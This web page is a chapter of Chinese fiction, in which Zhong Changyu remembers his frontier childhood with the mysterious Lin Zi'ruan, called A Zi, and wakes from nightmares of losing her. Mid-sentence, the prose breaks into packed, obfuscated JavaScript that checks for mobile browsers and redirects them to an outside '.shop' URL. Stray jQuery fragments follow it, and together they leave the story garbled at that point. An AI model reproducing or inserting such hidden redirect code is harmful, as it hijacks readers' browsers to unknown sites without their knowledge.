那应该是来到塞外的第二个冬天，仲长昱再一次独自走在雪地中，这次他并非漫无目的，而是载满了兴奋。
他怀里似乎抱着什么，捂得很紧，生怕一不小心，外面的风就弄脏了它。
“阿昱。”熟悉的声音自身后响起，拦住他的去路。
仲长昱猛地刹住朝声源看去——林自阮站在那里，和往常一样朝他招手。
“看，”他兴致勃勃地冲到林自阮面前，将怀里的东西举到她面前——一块精面烤的饼，算不上什么特殊的玩意儿，但对于他们这批扎在冰天雪地里的冰碴来说倒也能说上一句好东西。
“我按你说的去找那个将军了，他给我的。”小小的孩子满脸兴奋，即使手被冻得通红也不肯往袖子里缩上一些。
然而林自阮并没有去接，而是伸手贴上他的脸颊。
“嘶——”
原本麻木的伤口回温后传来阵痛，仲长昱咧着嘴将饼抱回怀里，然后才小心翼翼地抬头。
“你跟那个大的打架了。”林自阮并没有询问，就好像只是在陈述一个事实。
“没事！我、我不怕疼的。”不知是出于什么心理，他挣开了林自阮，然后将伤口完整地暴露出来。
他不知道林自阮是怎么知道的，但看着那双平静的、毫无波澜的眼睛，他总觉得……她好像什么都看见了。
所以还没等林自阮开口，他自己先失了底气试图把伤口遮掩起来：“对不起，我不是故意的，是、是他们——”
他想要狡辩，但是林自阮看起来并不想跟他争论这个问题。
那时候的林自阮远没有现在体贴，会为所有人找好借口，她有的只是事实，以及基于事实所推测的一切。
半蹲下来让自己的眼睛跟仲长昱齐平，林自阮毫不留情地撤下了他尽力遮掩的过程：“你溜进了运粮的队伍里主动帮人站岗，那人经常要你替他，所以他很理所当然地偷懒了。”
“然后你在运粮的车边放了火，假装是走水等在路上。”
“你也看见是那个将军身边的孩子先出来，但你没躲，告诉他是你放的。”
“你知道这些话不管谁听见都会生气，所以就告诉他、激怒他、让他动手，把自己放在‘不是故意’上，这样他们就怪不了你，毕竟火在空地上，你只是想取暖。”
“然后你们打起来，那个将军出来拉架，你告诉他不应该是你站岗，你没有厚衣服，又冷又饿。”
“这是他赔给你的。”
她每说一句，仲长昱心底就空一分，到最后他耳边只剩下树枝因挂不住雪而断裂的声音。
过了许久，他才听见林自阮的声音，先是一声叹息，然后带着些许无奈：“你没必要把自己弄成这样，也没必要用这些伤证明什么。”
“我说过了，只要你想，我什么时候在都行。”
“你撒谎！”仲长昱忽然撒手将人推开，就连手里的饼摔在雪上也没在意，“我从来都没有找到过你，一直都是你自己带着东西出来，问你什么都是捡的捡的捡的，我也是捡的，我、我也是……为什么不能带我去找其他东西！”
身边响起一阵悉悉索索的声音，林自阮弯腰捡起那块饼坐下，然后拍了拍旁边松软的雪地示意他也坐。
见他別过头去，林自阮也不强求，只是掰了块饼塞进嘴里：“凉了啊。”
等抽泣声逐渐弱了下来，她伸手把饼递过去：“不过味道还不错。”
“不尝尝吗？你饿了很久，好不容易拿到的。”
似乎是在回应她的话，仲长昱的肚子也适时发出咕噜声。
“你怎么知道的？”一口气把饼啃了个精光，仲长昱最后还是坐在她身边，将脸埋在胳膊上闷闷地问道。
“我猜的。”
“骗子。”仲长昱再次別过脸，但没过多久又忍不住把脸扭了回来，“那我的名字也是猜的吗？”
“不是啊。”林自阮回答。
她捡了根树枝在地上一笔一画把“昱”字写下来，然后继续：“我挺喜欢这个字的，你不喜欢吗？”
“不喜欢的话，就给自己挑个喜欢的字好了。”
仲长昱没有说话。他只是低头看着雪地上那个歪歪扭扭的“昱”字，看了很久。
直到雪一点一点把那个字重新填满，他才重新开口：“那你呢？你甚至从来没有告诉过我你的名字。”
“名字啊……”林自阮撑着头用树枝在地上戳出来一个“阮”字。
但她很快又把这个字划掉换了一个字：“我姓……林。”
写完之后她盯着那个字看了许久，好像一不留神，字就会变了一样。
“至于名字嘛……看你喜欢，辛娘、十四娘、涂山、阿紫——”
“阿紫，”一直安安静静盯着地上那两个字的仲长昱忽然打断了她，“阿紫可以吗？”
“可以啊。”林自阮回答。
她微微仰着头，手指在膝旁一下又一下轻点，似乎在等待着什么。
哒、哒、哒……
仲长昱见她好一阵不动，忍不住凑上前唤了声：“……阿紫？”
闻言，林自阮这才从嘴里发出一声轻笑：“看来也不会怎么样嘛。”
那之后的事仲长昱不太记得，只记得后来阿紫又带他回了家，阿紫的家，那个温暖的、永远停留在春日的木屋和屋里成堆的、当时的他看不懂的话本。
他会跟在阿紫身后，一边走一边向她讲述自己最近的经历。脚下积雪随着言语消隐，等他讲得差不多了，周围就暖和起来，开始有了绿意。
那是阿紫的房子，阿紫会在那儿教他识字，给他讲那些他从未见过的——街市夜空里各式各样的花灯，楼阁上飘荡着的歌声琴声，以及人们穿着他叫不出名字的、亮晶晶的衣裳。
阿紫喜欢漂亮的衣裳。
所以在他按阿紫说的那样慢慢得到梁城的赏识，拿到第一份属于自己的奖赏时，他送给阿紫的第一件礼物便是件漂亮的夹袄。
可是当他把这件礼物送出去时，阿紫看起来似乎并不开心，她只是伸手去接，就像捡起那张饼时一样。
啪——
那件衣服穿过了她伸出来的手摔在地上，仲长昱的表情也突然凝固在脸上，然后不顾一切地朝前面扑去。
可那里什么都没有，他也只是跟那件衣服一起摔在地上。
“阿紫！”
骤然惊起，仲长昱感觉眼前一片黑暗。
周围散着他熟悉的冷香，湿漉漉的，混着点木质的香调。
冷汗顺着脸颊滚落到锁骨，然后又因为胸腔猛烈的起伏成为寝衣上一小片被洇湿的痕迹。
还好、还好只是一场梦。
阿紫一直陪着他，他送的每一件礼物阿紫都很喜欢。
激烈的喘息声逐渐平息，仲长昱再度躺下，把身旁的人揽进怀里。
“阿紫……我又梦到你不要我了。”他的声音沙哑、沉闷，带着几分说不清道不明的委屈，“你答应过，会永远陪我。”
他将脸埋在身边人的颈窝絮絮叨叨说了许久，说他这段时间在做了什么、谁妨碍他、他怎么解决，说到他自己都有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498804|202632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
困倦，但他还是撑着眼皮抬头去瞧，就像以前一样。
然而他却没有看见他熟悉的阿紫，映入眼帘的只有一头破布一般的发，以及头发下面无法辨认的……脸？
仲长昱不确定，但那确实是一个脑袋的形状，只不过是用木头换了血肉，雕刻出眉眼和那似是上扬、又似乎只是木纹的嘴角。但它又没有完成，只能依稀从上面看出五官，无法具体辨认。
他急忙凑近，想要确认，想要看得清楚些，想找到一些玩笑的痕迹，然而随着他的起身，怀里的人顺着被褥零零散散地滑到地上，发出清脆的碰撞声。
“阿紫！”
仲长昱忙追上去捡，任凭寝衣随着他狼狈的动作大大咧咧地敞开，灌进大口冷风。
风？
哪里来的风？
仲长昱猛地停下手上拼凑的动作抬头，随着殿门吱呀一声，一个人影从外面探出头来。
“阿昱，我在呢。”阿紫的话里还带着笑，像是笑他胆小，笑他患得患失，笑自己的玩笑成功吓住了他，仿佛这一切都只是她的一场恶作剧。
“你去哪儿了，我以为、以为……”仲长昱的声音听起来有些哽咽，他驱使着发麻的双脚站起来朝门外走去，但总觉得腿上似乎灌了铅，迈不开、走不动。
他朝门口的人影伸出手，但她没有要过来的意思，就单单站在那里笑，嘴里说着……
阿昱，我在呢。
那为什么我碰不到你？
仲长昱想要去问，但一张嘴就被风灌满，冰冷的、像尖刺一样刺穿他的喉咙，让他发不出任何声音，只能徒劳地伸手去够眼前那个人影。
“阿昱，我在呢……”
“阿昱，我在呢……”
“阿昱……”
耳旁的声音重复着这一句话，一遍又一遍，仲长昱只觉得这声音每重复一次，自己就下沉一分，直至砖石淹没头顶，四周完全归于黑暗，他也依旧逃不过那一声声“阿昱”。
“阿昱……”
“阿昱、阿昱？”
“醒醒，阿昱，你做噩梦了吗？”
“脸色好难看啊。”
有什么东西在撕扯着他，将他拉得左摇右晃，仲长昱挣扎着睁开眼，瞪大眼睛看着床顶承尘上的花纹出神。
“阿昱？”一缕青丝随着林自阮俯身垂落在他脸颊，她眼里带着关切，伸手去摸他的额头，“没事的阿昱，我在呢。”
啪——
悬在半空中的手被人握住，仲长昱猛地翻身将人压在身下，然后死死盯着。
“阿昱？”看着他额角的汗珠，林自阮有些困惑。
伸出另一只手替他拭去额角冷汗，林自阮顺势抚上他的脸颊：“梦到什么啦？吓成这样。”
仲长昱就这样盯着她的脸看了许久，许久之后才慢慢松开手。
“对不起，我……”他缓缓沉下身子将林自阮拥进怀里，抱了很久，久到林自阮以为他又睡着了。
然后，她听见了仲长昱沙哑的声音：“我找不到你。”
“怎么会呢？我不是一直在这儿吗？”
仲长昱没有回答这个问题，只一味抓着林自阮的手，将她的手放在自己脸颊反复摩挲着。林自阮也没有继续追问，就这样由着他。
前半夜仲长昱带过来的野兔早已被下人收了起来，但那股血腥味仍残留在屋子里，即使点了熏香也难以完全遮掩，反倒是跟仲长昱梦里的气味愈发接近，不断拉扯他的思绪让他无法入眠。
林自阮也不问，就安安静静陪他躺着，一直到天蒙蒙亮。